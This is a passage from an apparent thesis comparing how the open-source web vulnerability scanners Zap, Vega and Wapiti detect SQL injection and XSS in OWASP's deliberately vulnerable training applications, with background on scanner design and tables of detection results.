Even with the knowledge of how to write secure code, knowing what inputs that are invalid or not, the risk of making a mistake that opens up the possibilities of an attack is still probable. If it is about making a small mistake in a larger system or just ignorance in a smaller system, making mistakes are in human nature and this leads up to the need to continuously test the application for any part that might be vulnerable to an attack. This can be done in several distinct ways which all have different advantages and disadvantages. They can mainly be divided into two groups; these are white box and black box testing.

#### White box

White box testing in general is a software testing technique with the focus of testing the internal logic, the structure and actual source code of an application [51]. This means that the tester must have complete knowledge and access to the source code to be able to perform this technique. Because of this, white box testing has several other names such as clear box testing, open box testing and transparent box testing to mention a few.

There are many different types of white box techniques that can be used. A few of the more important ones are branch testing, path testing and loop testing [26]. As it sounds, these tests focus on different aspects of an application. With branch testing focusing on testing every option in every control statement, path testing focusing on traversing all possible paths in the code at least once and loop testing focusing on the validity of all loops in the code. Information about the other types can be read more about here [27]. White box testing comes both with advantages and disadvantages. The advantages are that white box testing is thorough and has the possibility to cover most paths in an application if done right as well as identify hidden errors. Also, because it only focuses on the source code it is not dependant on any user interface and can therefore be used early in development. The disadvantages on the other hand are that it is complex and requires a talented tester with great knowledge about both testing and the system. The larger the application is, the more expensive it will be to test each and every path and will often not reach all if the system is big enough.
2.6. Web vulnerability scanners

Black box

Black box testing is the opposite of white box testing, meaning that no knowledge about the application, its structure or its source code is needed when performing [26]. Black box testing is all about passing in data where applicable and analysing the result based on that input. Same as for white box testing, there are several types of techniques that can be used for black box testing with a few of them being equivalence partitioning, boundary value analysis and fuzzing. Equivalence partitioning being about designing and reducing the number of test cases by dividing the input values into partitions, boundary value analysis being about identifying errors by passing in boundary values of the input domain, and fuzzing being about passing in malformed or semi-malformed data to find implementation bugs. Information about the other types can be read more about here [7]. Just as before, black box testing comes with both advantages and disadvantages. The advantages being that unlike white box, no knowledge is needed about the application making it much easier to perform and makes it possible for any third party to test the application. It is efficient for larger code segments because there is no need to follow every step of the code making it quick to either perform automatically or manually. The disadvantages are that the amount of test scenarios that can be performed are limited which limits the coverage of the application and it can be hard to design test cases without a clear specification of the application. It is not as thorough as with white box testing. Therefore there are good reasons to use either white box or black box techniques for software testing depending on what is needed.

2.6 Web vulnerability scanners

A WVS is a tool used to find vulnerabilities present in a web application that could be taken advantage of to hack the application. A WVS uses black box testing as detection technique to find the vulnerabilities, meaning that no knowledge about the actual code is needed about the web application. This makes the WVS an easy tool to use because the only thing needed is the URL of the website that will act as the starting point of the scanner to attack. Even though scanners could vary substantially in how they perform and how they are written, they all consist of the same main architecture which is what defines them as a WVS [21]. The structure consists of three modules: The crawler, the fuzzer and the analyser which are described below.

The crawler

The first phase is the crawling phase. The point of this phase is to crawl through the whole application to find and save all pages connected to the application and all places where an attack could be possible. Even though this always is the first module for a WVS as to find all places where a vulnerability could exist is crucial, how the crawler behaves could differ a whole lot. The goal of the crawler in a WVS is to find all relevant pages within the web application which is usually all pages that have the same domain name. This means that if some hyperlinks within the website will lead to another website, then it will be ignored. This type of crawler is called a focused web crawler that only continues with web pages of relevance instead of just keep going with every single page found.

Workflow of the crawler

A web crawler for a WVS is tasked with two things [24]. The first one is to find all web pages that are a part of the website and from there generate a list of all visited pages. It is within the content of these fetched pages that hyperlinks and HTTP requests that redirects to other pages will be found from where the process will continue. The other task is from the contents of these pages find all places where an attack could be possible, this could be all kinds of places but typically input vectors and forms that call different GET and POST requests that
can be manipulated before sent to the server. A typical workflow of a traditional WVS crawler can be seen in figure 2.13. The crawler begins with initialising a frontier list and adds a seed URL which is provided by the user. This is the base URL passed in and will act as the starting point of the crawler, which is why it is called a seed. It will take the URL and fetch the page and all its content. From there it will go through the content in search for HTTP requests and any hyperlinks that references a new URL that is reachable. All the new URLs found will be added to the frontier where the loop will continue for each new URL that has not been fetched yet. The loop will end when the frontier list is empty, which is when all the pages found have been parsed. When this is done the crawler will be finished and end up with an indexed list of all the pages found as well as all places vulnerable to an attack.
2.6. Web vulnerability scanners

Helpful files

Websites sometimes contain two files that can help the crawler search for all pages on the website. These files are robots.txt and sitemap.xml which reside at the root of the web application [12]. The first file is used to tell all or some crawlers some set of rules, which usually are what type of crawlers that are allowed to search the website and what pages that are not allowed to be searched. It could also contain other instructions like how much of a delay a crawler should have between each request to avoid overloading of the server. This is something that is used mainly for web crawlers from a search engine when traversing the website. However, it could also be useful for crawlers when scanning a website, with sitemap.xml containing shortcuts to more or less relevant pages on the website. It could even contain several files such as sitemap_1.xml, sitemap_2.xml and so on with all of them being linked to in the robots.txt file. Therefore, scanners could use robots.txt as a seed URL when traversing the web application to fill the frontier list with all pages included in there.

The fuzzer

After the first phase is done and the scanner has a list of all the places where a potential vulnerability could exist, it is time for phase two which is the fuzzer module [21]. As mentioned before, this is one of the black box testing techniques where malformed or semi-malformed data will be passed in to find implementation bugs. In this case, the malformed data passed in will be predetermined pieces of code that are typical to cause an attack on the application or to see if an attack is possible. Depending on what types of vulnerabilities the scanners focus on and the amount of places to attack found from the previously part, this part could vary in size greatly. How it usually works is that the scanners have a queue of different vulnerabilities to scan for and go through them one by one, generating potential vulnerable values that could trigger for example a XSS or SQLi attack. Some scanners can be configured to only focus on some specific attacks which could reduce the process time if the vulnerabilities of interest are just a few.

When the fuzzer is used to inject harmful data in order to find vulnerabilities in the application, it is defined as an active scan, meaning that the scanner is actively attacking the website. When using an active scanner, it is important that permission is acquired for the website that is scanned as the attack may damage the web application if successful. If the fuzzer module is taken away from the process, then the active scan simply turns in to a passive scan instead. With a passive scan you only crawl through the website and analyse the request and responses without ever injecting any own data to it. A passive scan is therefore safe to use on any web application on the web as it comes with no risk of damaging the application. A passive scan could for example give warnings if it sees that a cookie is sent in a GET request but the HttpOnly flag is not included. It can however not confirm that any XSS or SQLi attacks are possible without passing in data, which is why passive scanning is not of interest in this project.

The analyser

The third and final phase of a website scanner is the analyser module which works continuously with the fuzzer [21]. It analyses the result returned from the fuzzing in the previous step. The same as with the predefined values that are injected, the scanner has predefined values that are to be expected if a vulnerability does exist. This could be e.g., an error message that is sent back from the DBMS or the fact that the content of the web page changed based on the code passed in. The analyser stores every attack and the exact payload that was sent along with it if it believes that it found a vulnerability based on that attack and generates a list containing these results to the user when the scan is complete. Some scanners commonly also pass along other relevant info about each attack together with the results. Information such as how to prevent the attack and the damage this attack could cause, usually giving the
2.7 Deliberately vulnerable web applications

A WVS is far from perfect and has a few known issues. Because black box testing is the main approach used to find the vulnerabilities, the issues that come along with that approach which were mentioned earlier are therefore one problem that are present with WVSs. Otherwise, another major issue with WVSs today is about its crawler and the method it uses to crawl through the whole application. A traditional crawler, or a traditional spider which it also is known as, only looks at the HTML content of a page, meaning that it looks for hyperlinks and GET or POST request connected to forms or similar tags that will send the request to the server when interacted by the user. As can be seen in figure 2.15 here it uses clear HTML to create a form with two inputs and a submit button. When submitted, the data from the form will be sent as a POST request to the URL of /find_person.php to the server. This is a POST request the traditional spider will find because it is directly accessible from the HTML code. However, modern web application of today usually do not work like that anymore [9]. If created by known frameworks such as Angular [6], React [42] or Vue [52], the application will work as a Single-Page-Application (SPA), meaning that it is based mostly on JavaScript to call all requests and change the content of the page without needing to call the server and reload the page. That is called the AJAX technique (Asynchronous JavaScript and XML) [56]. Instead of using the action attribute in the form, it is more typical to use the onSubmit attribute which refers to a specific function or script that decides how to handle the data from the form. By doing so, the traditional spider will not find any URL in the HTML code because it is hidden in the JavaScript code which is something the spider does not go through. In similar ways, this is how most GET and POST requests are sent, through JavaScript. It is also through JavaScript that the user navigates from page to page, where the browser through JavaScript changes the content of the DOM without needing to send for the content to the server as seen in figure 2.14. There are however other techniques than the traditional spider to crawl through an application that uses AJAX. Those techniques are not based on reading JavaScript to find any URLs there, but mainly to perform actual interaction with the browser to traverse through the application. OWASP Zap, which is one of the more advanced open source scanner, has a so called AJAX spider that is based on this idea. There you can configure which HTML tags you want the spider to interact with, such as forms and buttons but can be so many more. When the buttons are interacted with the JavaScript will execute, either changing the content of the web page so that the spider can find more things to interact with or sending HTTP requests from the JavaScript that the spider will pick up on. This is however something that is not implemented in most other open source scanners but is mainly something that most commercial scanners focus on. Because the focus of this project lies upon open source scanners, the traditional spider is what will be of focus.

2.7 Deliberately vulnerable web applications

As mentioned before, when using a scanner to attack a website you need to have approval to do so on that specific website as the malicious script that is injected can damage the web application if successful. Instead, open source web applications that are made to be vulnerable can be used. There exist many types of these applications available for download that either are filled with vulnerabilities of all types or that focuses on some specific. Some applications being structured so that each page contains a unique vulnerability or structured as a typical website with different vulnerabilities scattered around. In either case, they are primarily used for students or developers to manually use penetration testing to find as many faults
In this article from 2020 by Amankwah et al. [3], eight different WVSs were evaluated, three commercial and five open source. To evaluate them, two deliberately vulnerable web applications were used as benchmarks for the scanners to test on. Five different metrics were focused on when evaluating that all looked at the rates of true positives, true negatives, false positives and false negatives. All vulnerabilities present in the vulnerable applications were included in the results if the scanners found them or not, even though some open source scanners did not have the implementation to find some of them. SQLi and XSS were however two vulnerabilities that all scanners had the ability to look for and were present in both applications. The goal of this work was simply to see how commercial and open source scanners compare to each other, with the results being that the commercial scanners were better at most areas but that some open source scanners such as OWASP ZAP were equally efficient at detecting vulnerabilities in the applications. With many similarities to how this project will be performed in terms of the method, it is a relevant article that confirms the various results that different scanners achieve, making it interesting to research why these differences in the results occur. Because the question of why was not something that was investigated in this work, but instead simply to scan and compare. Unfortunately, the text and the graphs in the article contradict each other for some of the metrics, with some graphs saying that not a sin-
2.8. Related work

A single scanner missed any vulnerabilities, which contradicts most of the other results where it is presented that many of the vulnerabilities are missed for most. There is also no mentioning about what configurations that are used for the scanners. This weakens the reliability of the article and by also being a rather newly published article, it should be read with that in mind. Nevertheless, it is an interesting report to read.

Like the previously article, in this article from 2017 by Idrissi et al. [21], several open source and commercial scanners were evaluated and compared to each other. WAVSEP was used as a benchmark which focuses on four vulnerabilities, including SQLi and XSS, with varying results between them. The obtained results for this benchmark were that most scanners were efficient in finding SQLi and XSS vulnerabilities, with some exceptions. In general, the commercial scanners were not observed to be superior from open source scanners, but rather recommended the usage of two open source scanners rather than any commercial. However, they did include that commercial tools had more features for modern website that use AJAX, something that WAVSEP does not use. This is an article with a clear methodology to follow, as well as information about each scanner and the final result. Once again however, the discussion is simply based on the comparison of each other without diving into why these results differ. No analysis is made for the cases where specific vulnerabilities are found by some scanners and missed by others. This is something that is generally left out of articles concerning evaluation of open source scanners even though the possibility to analyse the result exist.
3 Method

In this section the method used throughout the project and the choices made will be presented.

3.1 Literature study

At the beginning of the project, a literature study was conducted which is what the theory of this report is based on. It was done not only to get a deeper understanding of the main elements for this project, but also to research the issues and obstacles that exist today which will be of importance in the analysis that will be made later on.

The approach used to do the literature study mainly involved using Google Scholar to locate relevant documents. When looking for articles and white papers with focus on relevant topics such as SQLi, XSS and WVSs, the number of citations on each paper was acknowledged. The papers found were only focused on if they had many citations. If the document was released recently, such as this year or the year before that, the papers were automatically of interest without the regards on the number of citations. However, if the number of citations were low, the credibility of those papers were evaluated.

Not only articles and white papers were used and searched for but informational web pages as well. Mostly from the OWASP foundation’s website which contains much relevant information about all areas in web security such as SQLi and XSS, among others.

3.2 Scanners selection

As the purpose of this project was to analyse the techniques used by open source WVSs, a few scanners needed to be chosen as prime targets for testing and analysing. From the literature study it could be observed that there exist many open source WVSs that are available to download. Scanners with a mix of what vulnerabilities they focus on, what operating system they operate on and what language they are written in. Table 3.1 displays a summary on the different scanners found and looked at. Even though there exist many more WVSs available to use, these are some of the more known ones that were found in several places across the internet. With the goal being to analyse the techniques and approaches modern scanners use when finding SQLi and XSS vulnerabilities, it is important that the scanners of focus are able
3.3. Benchmarks selection

Table 3.1: Table of open source scanners

<table>
<thead>
<tr>
<th>Scanner</th>
<th>Version</th>
<th>Operating system</th>
<th>Language</th>
<th>Active</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zap</td>
<td>2.10.0</td>
<td>Linux, Windows</td>
<td>Java</td>
<td>Yes</td>
</tr>
<tr>
<td>Nikto</td>
<td>2.1.6</td>
<td>Linux</td>
<td>Perl</td>
<td>Yes</td>
</tr>
<tr>
<td>w3af</td>
<td>1.6.49</td>
<td>Linux</td>
<td>Python</td>
<td>Yes</td>
</tr>
<tr>
<td>Skipfish</td>
<td>2.10b</td>
<td>Linux</td>
<td>C</td>
<td>No</td>
</tr>
<tr>
<td>Arachni</td>
<td>1.5.1</td>
<td>Linux</td>
<td>Ruby</td>
<td>No</td>
</tr>
<tr>
<td>Vega</td>
<td>1.0</td>
<td>Linux, Windows</td>
<td>Java</td>
<td>No</td>
</tr>
<tr>
<td>Wapiti</td>
<td>3.0.3</td>
<td>Linux</td>
<td>Python</td>
<td>Yes</td>
</tr>
</tbody>
</table>

to find SQLi and XSS vulnerabilities, as well as being an established tool that is fairly known and has been commonly used before by others. It is also important that the scanners have the ability to do an authenticated scan so that they can log in on the website if needed during the scan. Three scanners were chosen.

Zap

With OWASP Zap (Zed Attack Proxy) being one of the more known WVSs with a huge community behind it, it was chosen as the first scanner of focus [39]. It has shown good results from previous articles and consists of many different functionalities and features, making it an interesting tool to choose for this project. Zap was created and is maintained by the OWASP foundation [35], with Simon Bennetts being the project lead. It runs on Windows, Linux and Mac OS and is written in Java. Zap uses a GUI from where the user can perform scans but it also acts like a proxy server so the user can observe and manipulate all traffic that passes through. With Zap having many types of configurations options, one of them is the choice to use an AJAX spider when crawling as mentioned before, but it also has the traditional spider to use.

Vega

Vega, similarly to Zap, is written in Java, runs on Windows, Linux and Mac OS and uses a GUI where it also acts as a proxy server [50]. What is interesting about Vega is that it is no longer active and has not been updated for five years but still has some of the best scores in previous articles from last year, even better than Zap in some cases [3]. This makes Vega an interesting second choice of WVS to analyse. It is also one of the few open source scanners found, except for Zap, that uses a GUI and also runs as a proxy.

Wapiti

Wapiti is the third and last open source scanner to be chosen [1]. Wapiti is different from the other two scanners in several ways. It is written in Python and only runs on Linux. It is terminal based, meaning that is does not have a GUI and does not act as a server proxy as well. By being quite different from the other two, as well as still being active with a community behind it makes this scanner an interesting choice to analyse.

3.3 Benchmarks selection

To be able to test and therefore analyse the scanners, some sort of benchmarks are needed that can be used as a target for the scanners. In this case it will be deliberately vulnerable web applications that will be used as the benchmarks. Similarly to the scanners, there exists many different open source vulnerable applications that are available to download. Most of
3.4 Scanning the benchmarks

them being used for manual penetration testing training. Many were found in other articles
that used them as benchmarks as well. An issue with these applications however is that be-
cause they consist of both a client and a server, many dependencies needs to be installed to
make them work locally on the computer. Another way would be to run the application as a
virtual machine on the computer which would be a much easier way of deploying the appli-
cation locally. Many of the earlier articles read used several different broken applications as
benchmarks, and some few explained that they used something called OWASP Broken Web
Applications (BWA) [34]. OWASP BWA is a known virtual machine that contains 37 different
applications, both small and large, with most of the more known ones among them in one
whole package. Figure 3.1 shows what it looks like when the virtual machine is running and
reached from a web browser. With it being easy to deploy and operate, it was chosen as the
tool to test the scanners with. However, exactly which benchmarks in BWA to focus on still
had to be chosen.

![Figure 3.1: Start page of OWASP Broken Web Applications](image)

BWA consist of different types of broken applications where some can be seen in figure
3.1. These are training applications, realistic vulnerable applications, applications for testing
tools, old and vulnerable versions of real applications and minuscule applications. With
the goal being to evaluate scanners, the three applications that exist for testing tools fits
naturally to be used and benchmarks to test the scanners. However, because those applications
are designed to have every vulnerability as a POST or GET request directly visible on a single
page, it does not test the crawler of the scanners on their ability to find the vulnerabilities
within the application. Because of this, several more of the applications in BWA will be used.
The applications of type training applications and realistic vulnerable applications were also
chosen to be of focus as benchmarks as they were designed to have more vulnerabilities and
therefore a better target to test the scanners. This comes down to 22 different applications
to be scanned by all three. This will lead to a large number of results and therefore only the
results that are interesting, meaning the results that greatly differ between each other will be
the focus when analysing and writing the results.

3.4 Scanning the benchmarks

To perform the evaluation, the right tools first needed to be implemented. For the deliberate
vulnerable web applications, BWA was to be used and run on a virtual machine. To make
3.5 Analysing the results on the benchmarks

this possible, the Oracle VM VirtualBox tool [33] was installed for running the virtual machines and the BWA was configured accordingly on it. The application could thereafter be reached through the URL of http://192.168.56.102. Zap and Vega that can be run on Windows were installed directly on the computer. The laptop used for the thesis had Windows 10 Pro installed, used a 64-bit operating system with 8 GB RAM and the processor was an Intel Core i5-4210M CPU. Wapiti does not support Windows and is a terminal based scanner. For simplicity, the operating system Kali Linux [25] was installed on a virtual machine as well. Wapiti is included in Kali Linux and because the Oracle VM VirtualBox could run several virtual machines at the same time it worked well.

With the necessary tools implemented, the actual scanning could take place. The scanning process proceeded by scanning a vulnerable application included the BWA one at a time. The three different scanners all scanned the application one at a time as well. In some cases, the results from the scanners were not consistent which is why all scans were made at least twice on the same application. Additional scans would be performed if the results from the first two scans were different until it became consistent. It happened at least once for both Zap and Vega but was not seen by Wapiti. The reason for why this inconsistency take place is unclear and was not answered.

If an application saved inputs generated from the scanners, it was to be reset for the next scan making sure that the application is the same for all tests. The configurations of the three scanners were set to default, or simply unchanged from the start except of changing the settings to only focus on SQLi and XSS for better efficiency. Vega however only used blind SQL injection by default and needed to be configured so that it used time-based SQL injection as well. This was simply done by selecting a checkbox before the scan. If the application needed authentication to find more vulnerabilities, the scanners were configured so that they were logged in with the respective credentials. This is something that all three scanners supported. With Zap having two different spiders to use when crawling, the traditional spider was always used.

When going through each application one at a time, the results achieved for each scanner were written down, including each attack that was successful and the payload that was sent with it. The attacks were also resent using the browser or the Zap proxy to observe if the attacks were valid as the scanner proclaim. The goal was mainly to see what vulnerabilities the scanners spotted in comparisons to each other and the false negatives within them. If the amount of vulnerabilities were known among the application, as it were for the applications for testing tools, the amount of false negatives were also focused on. However, most of the other applications did not have a clear number on the amount of vulnerabilities and because of it, the number of false negatives were mainly not of focus. The focus was the differences of findings between the scanners and why. Some of the application did not function and some were not yet fully implemented, but enough applications were fully functional to give a large number of results.

3.5 Analysing the results on the benchmarks

When all scans were completed and documented, the results were compared with each other and interesting differences were searched for. With several applications being scanned, a few of them with more interesting results were handpicked to be analysed further. These were results that were quite different in comparisons to each other or just unique results overall for that specific application that is worth analysing of why that is. When the results were chosen upon to analyse, two things were of focus, the source code of the scanners and the specific vulnerabilities which gave different results based on the scanner.
Results

In this chapter, the results generated from the method will be summarised and presented. With a total of 22 different applications being scanned, only the results of some of them with the most relevant and interesting outcomes will be presented here. The results will be presented in tables which given an overview of which vulnerabilities each scanner detected together with some text that explains the application and summarises the results.

4.1 WAVSEP

WAVSEP [54] is an application designed to test scanning tools. It contains several GET and POST requests that are vulnerable for both reflected XSS and SQLi attacks. All vulnerabilities are numbered and located on the same page corresponding to the type of the vulnerability. Unfortunately, the database for WAVSEP did not work when run together with BWA, making every request to the database return an error which disables the possibility to scan for SQLi. Instead, focus was put on detecting XSS. In table 4.1, the results from WAVSEP is displayed. This part of the application contained 32 unique cases that were vulnerable of reflected XSS. The table shows what characters that are blacklisted for each case. However, to get a more descriptive overview of how every vulnerability looked like, the reader is referred to appendix A, which also shows how each vulnerability can be successfully attacked. Each 32 vulnerabilities existed both as a GET request and a POST request in which each scanners found the same amount for both. Zap detected all 32 of them, Vega detected 30 of them and Wapiti only detected 8 of them.

4.2 Bricks

Bricks [55] is a training application made by the OWASP foundation. It contains both SQLi and XSS vulnerabilities but most importantly, it has several training login forms with different security mechanism where the goal is to bypass the authentication. All of these vulnerabilities were also on just two different pages and therefore easy to find. All three scanners found the same XSS vulnerabilities across the application, but the results for detecting SQLi vulnerabilities were somewhat different and will be analysed upon. The table 4.2 shows which SQLi vulnerabilities each scanner found, and it also shows what kind of security mechanism each input parameter had. Cases six to nine in the results also returns an error message
4.3 Mutillidae

Mutillidae [37] is another training application made by the OWASP foundation that has over 40 different vulnerabilities, among them several reflected XSS and SQLi vulnerabilities scattered in different places across the application. Several vulnerabilities where found by all scanners and it was some variation between them as can be seen in table 4.3. Zap dominated in the reflected XSS category, but both Vega and Wapiti found at least one vulnerability that Zap did not even though there were no unique security mechanisms for any of the vulnerabilities.

<table>
<thead>
<tr>
<th>Case</th>
<th>Type</th>
<th>Blacklisted</th>
<th>Zap</th>
<th>Vega</th>
<th>Wapiti</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>3</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>4</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>5</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>6</td>
<td>XSS</td>
<td>&lt;&gt;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>7</td>
<td>XSS</td>
<td>&lt;&gt;'</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>8</td>
<td>XSS</td>
<td>&lt;&gt;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>9</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>10</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>11</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>12</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;''</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>13</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>14</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>15</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>16</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;http</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>17</td>
<td>XSS</td>
<td>&lt;&gt;&quot;'</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>18</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>19</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>20</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>21</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>22</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>23</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>24</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>25</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>26</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>27</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>28</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>29</td>
<td>XSS</td>
<td>&lt;&gt;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>30</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>31</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>No</td>
</tr>
<tr>
<td>32</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

Table 4.1: Reflected XSS vulnerabilities found in WAVSEP by the scanners

directly from the DBMS if the query becomes logically incorrect, something that the first cases do not.
### 4.4 Security Shepherd

Security Shepherd [38] is a training application designed for manual penetration testing with the aim to train students and programmers with different sets of difficulty. It contains several types of vulnerabilities and among them both SQLi and XSS vulnerabilities. The application is divided in lessons and challenges whereas each vulnerability has one lesson each and as well as several challenges each. SQLi has seven challenges and XSS has six, all with various security mechanisms and difficulties. However, Security Shepherd is a SPA and uses JavaScript to change the content of the page and also uses it to send every HTTP GET and POST request for the lessons and the challenges. To reach the main page the user first needs to log in, meaning that all three scanners needed to do an authenticated scan which was set up and configured before the scan was performed. None of the three scanners found any vulnerabilities for either SQLi or XSS as the table 4.4 summarises.

#### Table 4.2: SQLi vulnerabilities found in Bricks by the scanners

<table>
<thead>
<tr>
<th>Case</th>
<th>Type</th>
<th>Security mechanism</th>
<th>Returns error message</th>
<th>Zap</th>
<th>Vega</th>
<th>Wapiti</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SQLi</td>
<td>None</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>SQLi</td>
<td>Client-side validation</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>3</td>
<td>SQLi</td>
<td>Surround input with (’’)</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>4</td>
<td>SQLi</td>
<td>Surround input with (“”)</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>5</td>
<td>SQLi</td>
<td>MD5 encryption used</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>6</td>
<td>SQLi</td>
<td>Only accepts integer</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>7</td>
<td>SQLi</td>
<td>Only accepts string</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>8</td>
<td>SQLi</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>9</td>
<td>SQLi</td>
<td>Base64 encryption used</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
</tbody>
</table>

#### Table 4.3: Vulnerabilities found in Mutillidae by the scanners

<table>
<thead>
<tr>
<th>Case</th>
<th>Type</th>
<th>Security mechanism</th>
<th>Zap</th>
<th>Vega</th>
<th>Wapiti</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>SQLi</td>
<td>None</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>2</td>
<td>SQLi</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>3</td>
<td>SQLi</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>4</td>
<td>XSS</td>
<td>None</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>5</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>6</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>7</td>
<td>XSS</td>
<td>None</td>
<td>No</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>8-20</td>
<td>XSS</td>
<td>None</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
</tr>
</tbody>
</table>

#### Table 4.4: Vulnerabilities found by the scanners in Security Shepherd that uses AJAX

<table>
<thead>
<tr>
<th>Case</th>
<th>Type</th>
<th>Zap</th>
<th>Vega</th>
<th>Wapiti</th>
</tr>
</thead>
<tbody>
<tr>
<td>1-6</td>
<td>XSS</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>7-13</td>
<td>SQLi</td>
<td>No</td>
<td>No</td>
<td>No</td>
</tr>
</tbody>
</table>
5 Discussion

In this chapter, the source code of the scanners will be analysed together with the results from the previous chapter. Thereafter, the method used for this project will be discussed and criticised.

5.1 Results

